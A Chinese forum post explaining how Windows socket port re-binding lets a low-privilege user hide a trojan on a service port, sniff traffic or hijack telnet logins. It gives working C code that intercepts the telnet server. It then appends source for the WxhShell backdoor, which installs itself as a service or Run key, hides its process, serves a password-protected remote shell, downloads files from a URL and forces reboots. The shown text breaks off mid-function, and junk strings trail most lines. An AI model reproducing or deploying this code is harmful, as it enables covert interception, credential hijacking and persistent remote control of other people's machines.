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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  &7&*As  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u_8 22Z  
s= fKAxH  
  saddr.sin_family = AF_INET; y3]"H(  
pNFIO t:(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); hp4(f W  
[i1D~rCcn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); qu+2..3  
dRa<,@1"  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 );DIrA  
B31-<w  
  这意味着什么?意味着可以进行如下的攻击: T+h{Aeg  
(Nb1R"J `  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b.*4RL  
=Gz>ZWF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) j]O[I^5  
6CRPdLTDf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZMg9Qt  
*AR<DXE L  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  em!R9J.  
z.HNb$;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %esZ}U   
IFofF Xv_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wLe&y4  
e*6` dz@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H)aC'M^  
^>{;9 lo<  
  #include J4c4Os>3  
  #include nvVsO>2{ o  
  #include gr{Sh`Cm-  
  #include    8z8SwWS?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k]9>V@C  
  int main() V9+"CB^  
  { b\m( 0/x  
  WORD wVersionRequested; 7d8qs%nA  
  DWORD ret; !&jgcw/E  
  WSADATA wsaData; :gaeb8`t  
  BOOL val; s{J!^q  
  SOCKADDR_IN saddr; g4SYG)'R+  
  SOCKADDR_IN scaddr; ~LW%lMy;^|  
  int err; &\` a5[  
  SOCKET s; 4qXRDsbCf  
  SOCKET sc; cYy @  
  int caddsize; 4?M3#],'h  
  HANDLE mt; ^_h7!=W  
  DWORD tid;   P^m 6di  
  wVersionRequested = MAKEWORD( 2, 2 ); Bp{`%86S E  
  err = WSAStartup( wVersionRequested, &wsaData ); C|;Mhe'r=  
  if ( err != 0 ) { 3=|2Gs?ut  
  printf("error!WSAStartup failed!\n"); seU^IC<  
  return -1; k+r9h'd   
  } o/9LK  
  saddr.sin_family = AF_INET; 9.OwH(Ax7  
   !Fg4Au  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )'dH}3Ba  
qq7X ",s  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -hFyqIJW  
  saddr.sin_port = htons(23); =*:_swd  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dzjt|U0ru9  
  { zpr@!76  
  printf("error!socket failed!\n"); {!eANm'  
  return -1; 5~%,u2  
  } zM r!WoW  
  val = TRUE; 5h=TV  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ck_fEF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) kxqc6  
  { fQy C6C  
  printf("error!setsockopt failed!\n"); |}p}`Mb)a  
  return -1; fDEu%fUYZ  
  } * :tjxC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9C)3 b3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o),6o'w(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]\ 2RV DC  
/`O]etr`d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i$^B-  
  { =_m9so  
  ret=GetLastError(); 2 ssj(Qo  
  printf("error!bind failed!\n"); %::deV7  
  return -1; X})Imk7&E  
  } MjXE|3&  
  listen(s,2); =Wk/q_.  
  while(1) 9+8!xwR:  
  { J1]w*2  
  caddsize = sizeof(scaddr); ?9gTk \s?R  
  //接受连接请求 9ze|s^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s\C8t0C  
  if(sc!=INVALID_SOCKET) ~'NpM#A  
  { r -q3+c^+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 4o4 =  
  if(mt==NULL) W\qLZuQ  
  { Z 5)_B,E:X  
  printf("Thread Creat Failed!\n"); 'LbeL1ca  
  break; %t`SSW7I  
  } 8 ih;#I=q  
  } V@ _-H gg  
  CloseHandle(mt); 7*>S;$  
  } U7B/t3,=U  
  closesocket(s); bKuj po6  
  WSACleanup(); FJf~vAQ  
  return 0; [l':G]  
  }   8@ %mnyQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) * K,hrpYR  
  { /j' B\,  
  SOCKET ss = (SOCKET)lpParam; x9)aBB  
  SOCKET sc; UIf ZPf=  
  unsigned char buf[4096]; mGe|8In  
  SOCKADDR_IN saddr; Ki/'Ic1  
  long num; 7Y32p'  
  DWORD val; }{5mH:  
  DWORD ret; UK6xkra?#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^}o7*   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   JYwyR++uo  
  saddr.sin_family = AF_INET; ms}f>f=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8VP"ydg-U  
  saddr.sin_port = htons(23); y7JZKtsFA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !.3R~0b  
  { bR`rT4.F  
  printf("error!socket failed!\n"); X%GD0h]X#  
  return -1; n1*&%d'7  
  } hhpv\1h#  
  val = 100; _\dt?(m|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) sn-)(XU!  
  { ?C &x/2lt  
  ret = GetLastError(); i s L{9^  
  return -1; 2'wr={>W  
  } 2yln7[a  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %M{k.FE(  
  { ohrw\<xsu  
  ret = GetLastError(); z wL3,!t  
  return -1; ,AH0*L  
  } Ys-Keyg  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) _+ twq i  
  { hCzjC|EO~  
  printf("error!socket connect failed!\n"); 5-D`<\  
  closesocket(sc); %won=TG8  
  closesocket(ss); =- $!:W~  
  return -1; [kbC'Eh*  
  } E'5Ajtw;  
  while(1) Tu]&^[B('  
  { V: ^JC>6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 % f2<U;ff  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  ~~PgF"v  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1~%o}+#-  
  num = recv(ss,buf,4096,0); GR,J0LT   
  if(num>0) AG]W O8f)  
  send(sc,buf,num,0); K7IyCcdB  
  else if(num==0) )`w=qCn1Y  
  break; Ko#4z%Yq  
  num = recv(sc,buf,4096,0); NQ? x8h3  
  if(num>0) z|ves&lRa  
  send(ss,buf,num,0); Hu[]h]  
  else if(num==0) ZP"yq6!i  
  break; hwiKOP  
  } 6wPeb~{  
  closesocket(ss); vXephR'  
  closesocket(sc); Dk6?Nwy"  
  return 0 ; #wr2imG6  
  } mA& =q_gS  
< CDA"  
p ZtgIS(3  
========================================================== |U#DUqw  
Y2<dM/b/  
下边附上一个代码,,WXhSHELL Vu}806kB  
(vKI1^,  
========================================================== Rho5s@N7  
L?!$EPr  
#include "stdafx.h" Q uB+vL  
Z | We9%  
#include <stdio.h> 1!!\+ c2*  
#include <string.h> Ls]@icH0  
#include <windows.h> R*087X7 N|  
#include <winsock2.h> U IfH*6X  
#include <winsvc.h> V] rhVMA  
#include <urlmon.h> *8PN!^  
0Q'v HZ"  
#pragma comment (lib, "Ws2_32.lib") D}w<84qX  
#pragma comment (lib, "urlmon.lib") 22>;vM."  
[B,'=,Hbs  
#define MAX_USER   100 // 最大客户端连接数 =L"^.c@  
#define BUF_SOCK   200 // sock buffer ibXe"X/_  
#define KEY_BUFF   255 // 输入 buffer bp#fyG"  
i X%[YQ |  
#define REBOOT     0   // 重启 V5AW&kfd  
#define SHUTDOWN   1   // 关机 UFe(4]^  
{b1UX9y  
#define DEF_PORT   5000 // 监听端口 ,t1vb3  
O+_N!/  
#define REG_LEN     16   // 注册表键长度 M'q'$)e  
#define SVC_LEN     80   // NT服务名长度 zie=2  
rnO0-h-;  
// 从dll定义API '.Z4 hHX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d8E,o7$m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %k2FPmA6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ! RPb|1Y}+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P? (vW&B  
Ql &0O27  
// wxhshell配置信息 ^O)ve^P  
struct WSCFG { \gItZ}+c4}  
  int ws_port;         // 监听端口 vZu~LW@1  
  char ws_passstr[REG_LEN]; // 口令 mibpG9+d  
  int ws_autoins;       // 安装标记, 1=yes 0=no QL97WK\$  
  char ws_regname[REG_LEN]; // 注册表键名 \5TxE  
  char ws_svcname[REG_LEN]; // 服务名 \3zp)J  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vc8?I."?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /ZW&0 E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,gMy@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (e9fm|n!)|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EB!daZH,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (PRBS\*G  
`ZMK9f:  
}; =X-Tcj?3g  
J[@um:  
// default Wxhshell configuration RV+E^pkp$  
struct WSCFG wscfg={DEF_PORT, R?pRxY  
    "xuhuanlingzhe", 4Po)xo  
    1, P=`1rjPE  
    "Wxhshell", {q3:Z{#>7  
    "Wxhshell", vfwA$7N  
            "WxhShell Service", 3A,rHYS  
    "Wrsky Windows CmdShell Service",  ^$-Ye]<  
    "Please Input Your Password: ", }$kQs!#  
  1, aDL*W@1S  
  "http://www.wrsky.com/wxhshell.exe", J!TBREK  
  "Wxhshell.exe" C4\,z\Q  
    }; y3eHF^K+$  
a{'Z5ail  
// 消息定义模块 A}5fCx.{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T9syo/(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~@4'HMQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !kL> ,O>/  
char *msg_ws_ext="\n\rExit."; QI}E4-s8  
char *msg_ws_end="\n\rQuit."; %gd(wzco  
char *msg_ws_boot="\n\rReboot..."; X!tf#tl  
char *msg_ws_poff="\n\rShutdown..."; 0F:1\9f5  
char *msg_ws_down="\n\rSave to "; rwE%G>Vb  
EJ84rSp  
char *msg_ws_err="\n\rErr!"; iv&v8;B  
char *msg_ws_ok="\n\rOK!"; M4m$\~zf  
8VQ 24r  
char ExeFile[MAX_PATH]; H'=(`  
int nUser = 0; wy,p&g)>  
HANDLE handles[MAX_USER]; P"_$uO(5x  
int OsIsNt; 831JwS R  
bKDA!R2  
SERVICE_STATUS       serviceStatus; 89~ =eY  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  dy>!KO  
7KjUW\mN2Z  
// 函数声明 1HT_  
int Install(void); %|"g/2sF[G  
int Uninstall(void); 58V[mlW)O0  
int DownloadFile(char *sURL, SOCKET wsh);  n_nl{  
int Boot(int flag); x=Hndx^  
void HideProc(void); MXD4|r(  
int GetOsVer(void); YDC&u8  
int Wxhshell(SOCKET wsl); I97yt[,Yy  
void TalkWithClient(void *cs);  #^#HuDH  
int CmdShell(SOCKET sock); S9| a$3K'  
int StartFromService(void); u3 0s_\  
int StartWxhshell(LPSTR lpCmdLine); 2aN<w'pA  
]3iH[,KU3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q'Wr[A40j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K(}AX+rIg  
lB91An  
// 数据结构和表定义 ,XkGe   
SERVICE_TABLE_ENTRY DispatchTable[] = E#wS_[  
{ J%H;%ROx  
{wscfg.ws_svcname, NTServiceMain}, Dnf*7)X  
{NULL, NULL} eLD|A=X?  
}; eYX5(`c[  
{'En\e  
// 自我安装 Z;l`YK^-  
int Install(void) 81LNkE,  
{ NB_ )ZEmF  
  char svExeFile[MAX_PATH]; 2d>hi32I  
  HKEY key; cvd\/pG)  
  strcpy(svExeFile,ExeFile); LUX*P7*B  
y !$alE  
// 如果是win9x系统,修改注册表设为自启动 8I;XS14Q  
if(!OsIsNt) { q$(5Vd:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d?AlI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7Z ;?b0W  
  RegCloseKey(key); sZ,Y60s8a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r}#\BbCv;7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XW{>-PBg:  
  RegCloseKey(key); yXI >I  
  return 0; lKWPTCU  
    } HB+|WW t>  
  } 2%RNq<{Z_  
} DGW+>\G  
else { =@2FX&&E_  
<@wj7\pQ  
// 如果是NT以上系统,安装为系统服务 [r+ZE7$2b"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wq*b~Lw  
if (schSCManager!=0) E%oY7.~-  
{ #U8rO;$  
  SC_HANDLE schService = CreateService DejA4XdW  
  ( m,C1J%{^  
  schSCManager, .itw04Uru  
  wscfg.ws_svcname, jZ`;Cy\<B  
  wscfg.ws_svcdisp, -7J|l  
  SERVICE_ALL_ACCESS, 3 rLTF\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ['8!qr  
  SERVICE_AUTO_START, JSh.]j<bJL  
  SERVICE_ERROR_NORMAL, ljl^ GFo  
  svExeFile, 3(C\.oRc  
  NULL, V%$/#sza  
  NULL, ]Q]W5WDe:  
  NULL, 8-<:i  
  NULL, ctE\ q  
  NULL ()&~@1U  
  ); X7k.zlH7T  
  if (schService!=0) l Va &"   
  { __mF ?m  
  CloseServiceHandle(schService); *m?/O} R  
  CloseServiceHandle(schSCManager); 4pw6bK,s2\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q.K,%(^;a  
  strcat(svExeFile,wscfg.ws_svcname); ca+5=+X7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { df7wN#kO+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {s.=)0V  
  RegCloseKey(key); w$JvB5O  
  return 0; RKPO#qju\F  
    } 4apL4E"r  
  } J!5$,%v  
  CloseServiceHandle(schSCManager); MEB it  
} .^B*e6DAD  
} d!eYqM7-G  
m2AnXY\  
return 1; iY21Ql%  
} P.gb 1$7<  
/?SLdW  
// 自我卸载 H;RwO@v  
int Uninstall(void) v:H$<~)E|  
{ #%DE;  
  HKEY key; 6Ybg^0m  
B}^w_C2  
if(!OsIsNt) { 2}8v(%s p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <)1qt 9  
  RegDeleteValue(key,wscfg.ws_regname); 3Z1CWzq(  
  RegCloseKey(key); G^ :C+/)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K6R.@BMN  
  RegDeleteValue(key,wscfg.ws_regname); :OuA)f  
  RegCloseKey(key); .9wk@C(Eh_  
  return 0; h $2</J"  
  } )ut&@]  
} B {>7-0  
} 50X([hIr  
else { \-g)T}g,I  
V:joFRH9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A}l3cP; `#  
if (schSCManager!=0) wpN=,&!  
{ v?geCe=ng  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $&=S#_HQS  
  if (schService!=0) c Vc-  
  { |:gf lseE  
  if(DeleteService(schService)!=0) { 2'w?\{}D  
  CloseServiceHandle(schService); zolt$p  
  CloseServiceHandle(schSCManager); }~L.qG  
  return 0; s%W C/ZK  
  } j:v@pzTD  
  CloseServiceHandle(schService); NCDvo bYJ  
  } `x*Pof!Io  
  CloseServiceHandle(schSCManager); ?{ryGhb~  
} ln6d<; M5  
} x<ZJb  
DW[N|-L  
return 1; cz8T  
} <J`0  
@u6B;)'l  
// 从指定url下载文件 ;>Ib^ov  
int DownloadFile(char *sURL, SOCKET wsh) :/nj@X6  
{ ) AvN\sC  
  HRESULT hr; ;{N!Eb`S  
char seps[]= "/"; %WjXg:R  
char *token; A PEE ~  
char *file; =c\>(2D  
char myURL[MAX_PATH]; gi1^3R[  
char myFILE[MAX_PATH]; 8<QdMkI  
Hquc o  
strcpy(myURL,sURL);  "y}--  
  token=strtok(myURL,seps); b0Ps5G\ u  
  while(token!=NULL) )6Fok3u  
  { _uy44; zq  
    file=token; a .k.n<  
  token=strtok(NULL,seps); rC^WPW  
  } [M=7M}f;  
u. F9g #  
GetCurrentDirectory(MAX_PATH,myFILE); GjvOM y  
strcat(myFILE, "\\"); \!.B+7t=I  
strcat(myFILE, file); 3YR!Mq$|~  
  send(wsh,myFILE,strlen(myFILE),0); -lY6|79bF  
send(wsh,"...",3,0); _Tm3<o.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qm/22:&v5  
  if(hr==S_OK) k_rt&}e+Gi  
return 0; t.i 8 2Q  
else 8p 'L#Q.  
return 1; *0Skd  
52Z2]T c ,  
} MP Y[X[  
m[~y@7AK<  
// 系统电源模块 KJ)k =mJ  
int Boot(int flag) 3YOq2pW72G  
{ X^wt3<Kbf  
  HANDLE hToken; 3u+T~g0^  
  TOKEN_PRIVILEGES tkp; f<d`B]$(  
8Fz#A.%P  
  if(OsIsNt) { Z>k#n'm^z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  UD2C>1j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6]WAUK%h  
    tkp.PrivilegeCount = 1; vc;$-v$&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t%/&c::(6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BYL)nCc  
if(flag==REBOOT) { ctZ uA+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ) j#`r/  
  return 0; `ts$(u.w  
} H)kwQRfu  
else { P64PPbP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5H<m$K4z  
  return 0; hd%F nykq  
} l *(8i ^  
  } 8mvy\l EEH  
  else { aFX=C >M  
if(flag==REBOOT) { t&C1Oo}=3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _^Ubs>d=*  
  return 0; qd ~BnR$=  
} /=nJRC3.  
else { vxBgGl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) EIP /V  
  return 0; )4e.k$X^  
} w e//|fA<  
} = SMXDaH  
3)<yod=  
return 1; *SJ_z(CZm  
} BO?%'\  
? =Z?6fw  
// win9x进程隐藏模块 HmGWht6R  
void HideProc(void) pK>N-/?a  
{ {BN#h[#B{  
l ^0@86  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ko<:Z)PS  
  if ( hKernel != NULL ) `,<BCu  
  { D0-3eV -  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); zj{pJOM06  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gh]cXuph  
    FreeLibrary(hKernel); w,.TTTad  
  } y%cP1y)  
Z"xvh81P  
return; reu*53r]  
}  ?(1 y  
76{G'}B  
// 获取操作系统版本 -$ls(oot  
int GetOsVer(void) y'q$ |  
{ W:2( .?  
  OSVERSIONINFO winfo; m.rmM`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); l_d5oAh   
  GetVersionEx(&winfo); L,/%f<wd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) F v2-(  
  return 1; Dcgo%F-W  
  else By!o3}~g  
  return 0; Czu9o;xr  
} H/ HMm{4  
ITI)soa~  
// 客户端句柄模块 rglXs  
int Wxhshell(SOCKET wsl) 0v?"t OT!  
{ PJ%C N(0  
  SOCKET wsh; 1.GQau~  
  struct sockaddr_in client; YK'<NE3 4  
  DWORD myID; .*Y  
BX7kO0j  
  while(nUser<MAX_USER) 013x8!i  
{ A?P_DA  
  int nSize=sizeof(client); f}P3O3Yv&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k="i;! G e  
  if(wsh==INVALID_SOCKET) return 1; G5 WVr$  
R__OP`!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \~$#1D1f  
if(handles[nUser]==0) FTUv IbT  
  closesocket(wsh); YjKxb9  
else ",; H`V  
  nUser++; 'zTLl8P  
  } Ve; n}mJ?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u&7[n_  
(uE!+2C  
  return 0; VY4yS*y  
} ?N9uu4  
Z@!+v 19^  
// 关闭 socket Wh*uaad7  
void CloseIt(SOCKET wsh) YNF k  
{ \_f(M|  
closesocket(wsh); `M8i92V\qY  
nUser--; ?Z/V~,  
ExitThread(0); 2^ nxoye  
} /y}xX  
'5$b-x6F  
// 客户端请求句柄 )jP1or  
void TalkWithClient(void *cs) %>{0yEC  
{ BRiE&GzrF  
s.C_Zf~3  
  SOCKET wsh=(SOCKET)cs; .aQ \jA  
  char pwd[SVC_LEN]; k5pN  
  char cmd[KEY_BUFF]; s;Q!X ?Q  
char chr[1]; Ad_h K O  
int i,j; r;N|)  
37o; ;  
  while (nUser < MAX_USER) { 1=V-V<  
~Mxvq9vaD  
if(wscfg.ws_passstr) { T_4/C2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ud('0 r',D  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0 kW,I  
  //ZeroMemory(pwd,KEY_BUFF); +CNv l  
      i=0; g}c~:p  
  while(i<SVC_LEN) { &tj!*k'  
k9L;!TH~1K  
  // 设置超时 Ysv" 6b}  
  fd_set FdRead; 'D1xh~  
  struct timeval TimeOut; .$vK&k  
  FD_ZERO(&FdRead); +6+i!Sip  
  FD_SET(wsh,&FdRead); oUlVI*~ND  
  TimeOut.tv_sec=8; fz "Y CHe  
  TimeOut.tv_usec=0; o66}yJzmD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F:S}w   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k8zI(5.>  
w``U=sfmV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^iV)MTT  
  pwd=chr[0]; tKXIk9e  
  if(chr[0]==0xd || chr[0]==0xa) { X"%gQ.1|{j  
  pwd=0; 4j^ @wV'  
  break; 9hyn`u.  
  } U 6)#}   
  i++; dSHDWu&  
    } o ^uA">GH  
} 0y"F  
  // 如果是非法用户,关闭 socket N8df8=.kw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); !j-Z Lq:;  
} wUJcmM;  
YN5rml'-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =Dj#gV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4_ML],.  
TWX.D`W  
while(1) { I7 ]8Y=xf  
'~ 47)fN  
  ZeroMemory(cmd,KEY_BUFF); Zv{'MIv&v  
1_G^w qk  
      // 自动支持客户端 telnet标准   F8ulkcD  
  j=0; M"L=L5OH-  
  while(j<KEY_BUFF) { )t%b838l%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1|:KQl2q  
  cmd[j]=chr[0];  Nz-&MS  
  if(chr[0]==0xa || chr[0]==0xd) { h{qgEIk&  
  cmd[j]=0; BnY&f  
  break; x4O~q0>:Le  
  } kq-) ^,{y  
  j++; \w8\1~#  
    } 3OB"#Ap8<  
@O~pV`_tD  
  // 下载文件 %a7$QF]  
  if(strstr(cmd,"http://")) { cWm$;`Q#\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P$,Ke<  
  if(DownloadFile(cmd,wsh)) n=q 76W\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dha1/g1q  
  else _yT Ed"$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~.|_RdN  
  } GLODVcjf  
  else { fN2lLn9/u  
G!yP w:X  
    switch(cmd[0]) { cz$2R  
  VxBo1\'  
  // 帮助 !5N.B|N t  
  case '?': {  Fk;Rfqq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @(lh%@hO  
    break; 'N(R_q6MW  
  } E" vS $  
  // 安装 z(~_AN M4,  
  case 'i': { %l%HHT  
    if(Install()) H,NF;QPPC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t#yuOUg  
    else @}ZVtrz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uw8f ~:LT  
    break; OZ&o:/*HM  
    } [-x7_=E#  
  // 卸载 V~ _>U}  
  case 'r': { 4&iCht =  
    if(Uninstall()) "gwSJ~:ds  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Z%O7V~u  
    else WY]s |2a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e:W{OIz:  
    break; d d;T-wa}  
    } "Rl}VeDY  
  // 显示 wxhshell 所在路径 i@'dH3-kO  
  case 'p': { D&zle~" J  
    char svExeFile[MAX_PATH]; >R=|Wo`Ri  
    strcpy(svExeFile,"\n\r"); T]$U""  
      strcat(svExeFile,ExeFile); Z6m)tZVM  
        send(wsh,svExeFile,strlen(svExeFile),0); ?h2}#wg  
    break; &m vSiyKX  
    } ,z?':TZ  
  // 重启 Hx:;@_g q  
  case 'b': { aQ~s`^D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [ /ZO q  
    if(Boot(REBOOT)) T9&1VW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q@HV- (A  
    else { }~q5w{_n  
    closesocket(wsh); w*Ihk)  
    ExitThread(0); |cY`x(?yP  
    } &.ACd+Cd  
    break; \j.:3X r  
    } w#J2 wS  
  // 关机 ?%kV?eu'  
  case 'd': { N uI9iU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I 2DpRMy  
    if(Boot(SHUTDOWN)) DL.!G  
